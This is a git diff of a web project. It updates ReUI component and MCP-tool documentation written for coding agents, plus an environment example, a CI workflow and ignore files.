const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||||
|
|
||||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||||
```
|
```
|
||||||
|
|
||||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||||
|
|
||||||
|
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||||
|
|
||||||
|
## cascader
|
||||||
|
|
||||||
|
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||||
|
**Shape:**
|
||||||
|
|
||||||
|
```tsx
|
||||||
|
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||||
|
<CascaderTrigger render={<Button variant="outline" />}>
|
||||||
|
<CascaderValue placeholder="Select an attribute" />
|
||||||
|
</CascaderTrigger>
|
||||||
|
<CascaderContent className="w-80">
|
||||||
|
<CascaderPanel>
|
||||||
|
<CascaderNav>
|
||||||
|
<CascaderBreadcrumb />
|
||||||
|
<CascaderInput />
|
||||||
|
</CascaderNav>
|
||||||
|
<CascaderEmpty />
|
||||||
|
<CascaderList maxHeight={288}>
|
||||||
|
<CascaderItems />
|
||||||
|
</CascaderList>
|
||||||
|
<CascaderStatus />
|
||||||
|
</CascaderPanel>
|
||||||
|
</CascaderContent>
|
||||||
|
</Cascader>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||||
|
|
||||||
|
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||||
|
|
||||||
## date-selector
|
## date-selector
|
||||||
|
|
||||||
@@ -324,6 +362,26 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
|
|||||||
|
|
||||||
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
||||||
|
|
||||||
|
## code-block
|
||||||
|
|
||||||
|
**Required:** `code` + `language`, or pre-highlighted `lines`.
|
||||||
|
**Shape:**
|
||||||
|
|
||||||
|
```tsx
|
||||||
|
<CodeBlock code={code} language="tsx" />
|
||||||
|
|
||||||
|
<CodeBlock code={code} language="tsx" showLineNumbers maxLines={20}>
|
||||||
|
<CodeBlockHeader>
|
||||||
|
<CodeBlockTitle>use-totals.ts</CodeBlockTitle>
|
||||||
|
<CodeBlockLanguage />
|
||||||
|
<CodeBlockCopyButton className="ml-auto" />
|
||||||
|
</CodeBlockHeader>
|
||||||
|
<CodeBlockExpandButton />
|
||||||
|
</CodeBlock>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Gotcha:** the one-liner is already a complete block; every child (header, title, language label, copy button, wrap toggle, expand button, line actions) is optional chrome, at any depth. Shiki is the only npm dependency and loads lazily, one chunk per language, on first highlight; `lines` (from `highlightCode` in `code-block-highlight`, which is server-safe and has no `"use client"`) or `highlight={false}` loads nothing at all. `maxLines` caps the height AND marks the block collapsible, which is what makes `CodeBlockExpandButton` appear. Use `variant="ghost"` when the block sits inside a surface that already has a border.
|
||||||
|
|
||||||
## alert
|
## alert
|
||||||
|
|
||||||
**Required:** `Alert` > `AlertTitle`
|
**Required:** `Alert` > `AlertTitle`
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ npx shadcn@latest add @reui/icons/default/<style>/<name> --yes # static
|
|||||||
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
||||||
```
|
```
|
||||||
|
|
||||||
Finding them via the MCP is free; installing requires an Ultimate license (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
Motion Icons need an Ultimate license for **both discovery and install** (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Without it `search_icons` comes back `locked` with no results and `search` returns no icons at all, so check the plan before you promise the user icons: on a free or Pro account, use the project's own `iconLibrary` instead. Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||||
|
|
||||||
Finding icons:
|
Finding icons:
|
||||||
|
|
||||||
|
|||||||
@@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
||||||
|
|
||||||
- **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
- **component** - one of the 22 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||||
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
||||||
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
- **block** - a premium, full-page section that composes several components (`data-grid-base-2`, `settings-2`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||||
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
||||||
|
|
||||||
## The @reui registry
|
## The @reui registry
|
||||||
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
|
|||||||
|
|
||||||
## Free vs premium
|
## Free vs premium
|
||||||
|
|
||||||
- **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
|
- **Free, no license key:** the 22 components, all `c-*` examples, and this skill. The MCP is free too but still needs a free ReUI account (the agent signs in on first use); a license key is only for premium installs.
|
||||||
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
||||||
|
|
||||||
## Component API index
|
## Component API index
|
||||||
|
|||||||
@@ -4,11 +4,11 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
|
|||||||
|
|
||||||
## 1. Find (ReUI MCP `search` / `compose_page`)
|
## 1. Find (ReUI MCP `search` / `compose_page`)
|
||||||
|
|
||||||
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); on a free account it answers `mode: "free"` and fills the same sections with free `c-*` examples instead, so the plan is always buildable. Sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||||
|
|
||||||
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
||||||
|
|
||||||
- `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
- `type`: `"component"` (one of the 22 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||||
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
||||||
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
||||||
|
|
||||||
@@ -16,7 +16,9 @@ Example: "build a users management page with filters" -> `search({ query: "users
|
|||||||
|
|
||||||
Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
||||||
|
|
||||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick.
|
Results are scoped to the account's plan, so you are never shown an item the user could not install: blocks need Pro, Motion Icons need Ultimate. A `type` hint the plan cannot use (or a query whose only matches are premium) comes back as a normal HTTP 200 answer with `locked: true` and `requiredPlan` rather than results - that is a paywall, not a missing item, so switch to free components and `c-*` examples and mention https://reui.io/pricing?ref=skill.
|
||||||
|
|
||||||
|
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick. Where a result carries `thumbnail` (blocks and `c-*` examples), show the image itself as markdown linked to `previewUrl`, so the user sees the block before you install it.
|
||||||
|
|
||||||
## 2. Install (shadcn CLI)
|
## 2. Install (shadcn CLI)
|
||||||
|
|
||||||
@@ -32,7 +34,7 @@ The CLI reads `components.json`, installs the correct base+style variant, resolv
|
|||||||
|
|
||||||
Before writing code against any component an item uses:
|
Before writing code against any component an item uses:
|
||||||
|
|
||||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the full API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the deeper API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. A very large API is trimmed on heading boundaries to fit your context and lists what it dropped in `sectionsOmitted`; when the part you need is in that list, re-read it as the response's `next` hint says rather than guessing. `validate_usage` always checks the FULL API, so it still catches a prop you invented from a trimmed capsule. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||||
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
||||||
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
||||||
|
|
||||||
|
|||||||
@@ -16,15 +16,15 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
|||||||
|
|
||||||
## The 5 task-specific tools (when to reach for each)
|
## The 5 task-specific tools (when to reach for each)
|
||||||
|
|
||||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). On a free account (or in free-only mode) it answers with `mode: "free"` and composes the same sections from free `c-*` examples instead, so the plan is always buildable. Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant.
|
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant. Motion Icons are Ultimate for **discovery as well as install**: without an Ultimate credential this returns `locked: true` and zero concepts, so check the plan before promising the user icons.
|
||||||
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
||||||
- **`whats_new`** - when your registry knowledge might be stale (a name 404s, the user mentions an item you don't know). Returns items added/removed per build, newest first.
|
- **`get_thumbnail`** - when the choice is VISUAL and the ranking has not already made it: 2 or more candidates within about 15 score points. When the top hit leads by a wide margin, or `missedTerms` already rules the others out, skip it; an image costs roughly 10 times a result row. It returns the hosted preview image as image content so you can look yourself; pass up to 4 names in one call to compare `compose_page` alternates side by side before installing any of them. To let the USER see something, share the item's `thumbnail` and `previewUrl` instead - this tool is for your own eyes, and a client that cannot render images gets the URLs in the text block.
|
||||||
- **`report_issue`** - when an installed item is actually broken (bad source, wrong dependency, broken preview). Goes straight to the ReUI team; rate-limited 5/hour. Not for usage questions.
|
- **`get_agent_skill`** - when the agent has no local ReUI skill (a cloud or tools-only client), or to check whether the installed one is stale: it returns the current workflow inline plus the installer command, and its `version` can be compared with the version stamped at the top of your local `SKILL.md`.
|
||||||
|
|
||||||
## All 19 tools
|
## All 19 tools
|
||||||
|
|
||||||
`search`, `get_block`, `get_example`, `get_icon`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `whats_new`, `report_issue`, `get_install_command`, `get_project_context`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
`search`, `get_block`, `get_example`, `get_icon`, `get_thumbnail`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `get_install_command`, `get_project_context`, `get_agent_skill`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||||
|
|
||||||
## Token + speed rules
|
## Token + speed rules
|
||||||
|
|
||||||
@@ -41,18 +41,24 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
|||||||
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
||||||
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
||||||
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
||||||
|
- An inline `api` is not always the whole API: a very large one is trimmed on heading boundaries to fit your context, and the response names every dropped heading in `sectionsOmitted` plus a `next` hint for re-reading one. Never treat a trimmed capsule as complete; `validate_usage` still checks the FULL API.
|
||||||
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
||||||
|
- Blocks and `c-*` examples carry `thumbnail`, an absolute URL to a hosted preview image (3:2; blocks 1080x720, examples 900x600, light theme). Show the top 2 or 3 as markdown images linked to `previewUrl` so the user picks by eye; use `get_thumbnail` when YOU need to see them. Components and icons have no thumbnail.
|
||||||
|
- Each result carries `missedTerms`, the words from YOUR query it does not mention (omitted when it matches them all). A high score with 3 missed words is a near miss wearing a good score: read this before `get_thumbnail`, it is far cheaper.
|
||||||
|
- `weakMatch: true` means the top result misses more of the query's words than it matches; `unmatchedTerms` lists the words none of the top results mention and `weakMatchNote` says what to do. Stop and re-search with the registry's own words, or compose from components, instead of installing the top hit.
|
||||||
|
- On a free account `premiumPicks` (a sibling of `results`, never inside it) lists up to 3 premium blocks that fit the query more closely than the free answer, as previews with no install command, plus `unlock` with the plan and a pricing link. Mention the upgrade at most once per conversation, then keep building with what the plan covers. `weakMatch` and `premiumPicks` can appear together: the free answer is weak AND a premium block fits; `weakMatchNote` says so.
|
||||||
|
- Results are scoped to the caller's plan, so a free account never sees a block or icon it could not install. When a search matches only hidden premium items, the answer says so (`locked`, `requiredPlan`, `premiumMatches`) instead of pretending the registry is empty.
|
||||||
|
|
||||||
## Error playbook
|
## Error playbook
|
||||||
|
|
||||||
- **401** - the MCP requires a signed-in ReUI account. The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp) as `Authorization: Bearer`.
|
- **401** - the MCP requires a signed-in ReUI account, on every request (there is no anonymous access). The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp?ref=skill) as `Authorization: Bearer`.
|
||||||
- **403 / locked result** - a valid account but the plan does not cover the item: premium blocks need Pro, Motion Icons need Ultimate. Point to https://reui.io/pricing (upgrade). Free accounts still get all components + examples.
|
- **locked result** - a valid account whose plan does not cover the item. This is NOT an error and NOT a 403: it comes back as a normal HTTP 200 result carrying `locked: true` and `requiredPlan` (`"pro"` for premium blocks, `"ultimate"` for Motion Icons). Keep working with the free components and `c-*` examples, and point the user at https://reui.io/pricing?ref=skill if they want the locked item.
|
||||||
- **429** - rate limited (120 requests/min per IP); back off, honor `Retry-After`.
|
- **daily allowance reached** - a free account has a per-account, per-UTC-day allowance on tool calls (ReUI sets the number and can change it, so read it from the message and never assume one). It comes back as a normal tool RESULT with `isError: true` at HTTP 200: not an HTTP error status, no back-off header to honor, and no per-minute limit to wait out. Retrying the same call just spends the next unit, so surface the message (it carries the reset and the upgrade link) to the user instead of looping. The count resets at UTC midnight, and using a Pro or Ultimate license as the MCP credential removes the limit.
|
||||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`; check `whats_new` if you suspect a stale name. Never run a fabricated install command.
|
- **not found** (`found: false`) - use the returned `suggestions`, or `search`. Never run a fabricated install command.
|
||||||
|
|
||||||
## Fallbacks
|
## Fallbacks
|
||||||
|
|
||||||
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
||||||
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
||||||
|
|
||||||
Per-agent MCP setup: https://reui.io/docs/mcp
|
Per-agent MCP setup: https://reui.io/docs/mcp?ref=skill
|
||||||
|
|||||||
@@ -21,7 +21,6 @@ node_modules
|
|||||||
**/node_modules
|
**/node_modules
|
||||||
**/dist
|
**/dist
|
||||||
apps/web/src/routeTree.gen.ts
|
apps/web/src/routeTree.gen.ts
|
||||||
apps/web/playwright-report
|
|
||||||
apps/web/test-results
|
apps/web/test-results
|
||||||
|
|
||||||
*.md
|
*.md
|
||||||
@@ -30,7 +29,6 @@ CONTRIBUTING.md
|
|||||||
LICENSE
|
LICENSE
|
||||||
docs
|
docs
|
||||||
|
|
||||||
.pre-commit-config.yaml
|
|
||||||
.releaserc.json
|
.releaserc.json
|
||||||
.commitlintrc.*
|
.commitlintrc.*
|
||||||
commitlint.config.cjs
|
commitlint.config.cjs
|
||||||
|
|||||||
@@ -24,3 +24,12 @@ REUI_LICENSE_KEY=
|
|||||||
|
|
||||||
# Server
|
# Server
|
||||||
SERVER_PORT=8080
|
SERVER_PORT=8080
|
||||||
|
|
||||||
|
# Security hardening (prod)
|
||||||
|
# В prod (NODE_ENV=production) сервер откажется стартовать без AUTH_REQUIRED=true
|
||||||
|
# и реальных секретов; EVOFW_ALLOW_UNSAFE=true — явный opt-out для изолированных стендов.
|
||||||
|
# EVOFW_ALLOW_UNSAFE=false
|
||||||
|
# Разрешённые CORS-origins через запятую; пусто = только same-origin
|
||||||
|
# CORS_ORIGINS=https://fw.example.com
|
||||||
|
# Ключ для шифрования секретов в БД (AES-256-GCM, напр. токен EvoBGP); пусто = без шифрования
|
||||||
|
# EVOFW_SECRET_KEY=
|
||||||
|
|||||||
@@ -46,7 +46,9 @@ jobs:
|
|||||||
- if: ${{ inputs.is_pull_request == false }}
|
- if: ${{ inputs.is_pull_request == false }}
|
||||||
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||||
with:
|
with:
|
||||||
fetch-depth: 2
|
# Full history: before_sha may be many commits behind the new tip
|
||||||
|
# (multi-commit pushes) and must exist locally for git diff.
|
||||||
|
fetch-depth: 0
|
||||||
- id: detect
|
- id: detect
|
||||||
name: Detect changed paths per module
|
name: Detect changed paths per module
|
||||||
env:
|
env:
|
||||||
@@ -80,7 +82,14 @@ jobs:
|
|||||||
else
|
else
|
||||||
after="${HEAD_SHA:-$(git rev-parse HEAD)}"
|
after="${HEAD_SHA:-$(git rev-parse HEAD)}"
|
||||||
before="$BEFORE_SHA"
|
before="$BEFORE_SHA"
|
||||||
|
# Guard: a stale/unresolvable before_sha must not fail the pipeline.
|
||||||
if [ -n "$before" ] && [ "$before" != "0000000000000000000000000000000000000000" ]; then
|
if [ -n "$before" ] && [ "$before" != "0000000000000000000000000000000000000000" ]; then
|
||||||
|
if ! git cat-file -e "$before^{commit}" 2>/dev/null; then
|
||||||
|
echo "::warning::before_sha $before not resolvable, falling back to HEAD~1"
|
||||||
|
before=""
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
if [ -n "$before" ]; then
|
||||||
FILES="$(git diff --name-only "$before" "$after")"
|
FILES="$(git diff --name-only "$before" "$after")"
|
||||||
elif git rev-parse --verify HEAD~1 >/dev/null 2>&1; then
|
elif git rev-parse --verify HEAD~1 >/dev/null 2>&1; then
|
||||||
FILES="$(git diff --name-only HEAD~1 HEAD)"
|
FILES="$(git diff --name-only HEAD~1 HEAD)"
|
||||||
@@ -221,6 +230,7 @@ jobs:
|
|||||||
set -euxo pipefail
|
set -euxo pipefail
|
||||||
sh scripts/ci/pnpm-ci.sh
|
sh scripts/ci/pnpm-ci.sh
|
||||||
pnpm --filter @evofw/web run typecheck
|
pnpm --filter @evofw/web run typecheck
|
||||||
|
pnpm --filter @evofw/web run test
|
||||||
pnpm --filter @evofw/web run build
|
pnpm --filter @evofw/web run build
|
||||||
|
|
||||||
api:
|
api:
|
||||||
@@ -251,13 +261,15 @@ jobs:
|
|||||||
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
|
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
|
||||||
restore-keys: |
|
restore-keys: |
|
||||||
pnpm-${{ runner.os }}-
|
pnpm-${{ runner.os }}-
|
||||||
- name: pnpm install, test, build
|
- name: pnpm install, typecheck, test, build
|
||||||
env:
|
env:
|
||||||
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
|
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
|
||||||
run: |
|
run: |
|
||||||
set -euxo pipefail
|
set -euxo pipefail
|
||||||
sh scripts/ci/pnpm-ci.sh
|
sh scripts/ci/pnpm-ci.sh
|
||||||
pnpm exec turbo run test --filter=@evofw/api
|
# turbo builds @evofw/{shared,db} first — api typecheck resolves their dist types
|
||||||
|
pnpm exec turbo run typecheck --filter=@evofw/api --filter=@evofw/db --filter=@evofw/shared
|
||||||
|
pnpm exec turbo run test --filter=@evofw/api --filter=@evofw/shared
|
||||||
pnpm exec turbo run build --filter=@evofw/api
|
pnpm exec turbo run build --filter=@evofw/api
|
||||||
|
|
||||||
commitlint:
|
commitlint:
|
||||||
|
|||||||
@@ -37,5 +37,8 @@ deploy/docker/docker-bake.override.hcl
|
|||||||
*.tsbuildinfo
|
*.tsbuildinfo
|
||||||
# Local MCP configs (may contain REUI license Bearer)
|
# Local MCP configs (may contain REUI license Bearer)
|
||||||
.cursor/mcp.json
|
.cursor/mcp.json
|
||||||
|
.zcode/config.json
|
||||||
|
.zcode/plans/
|
||||||
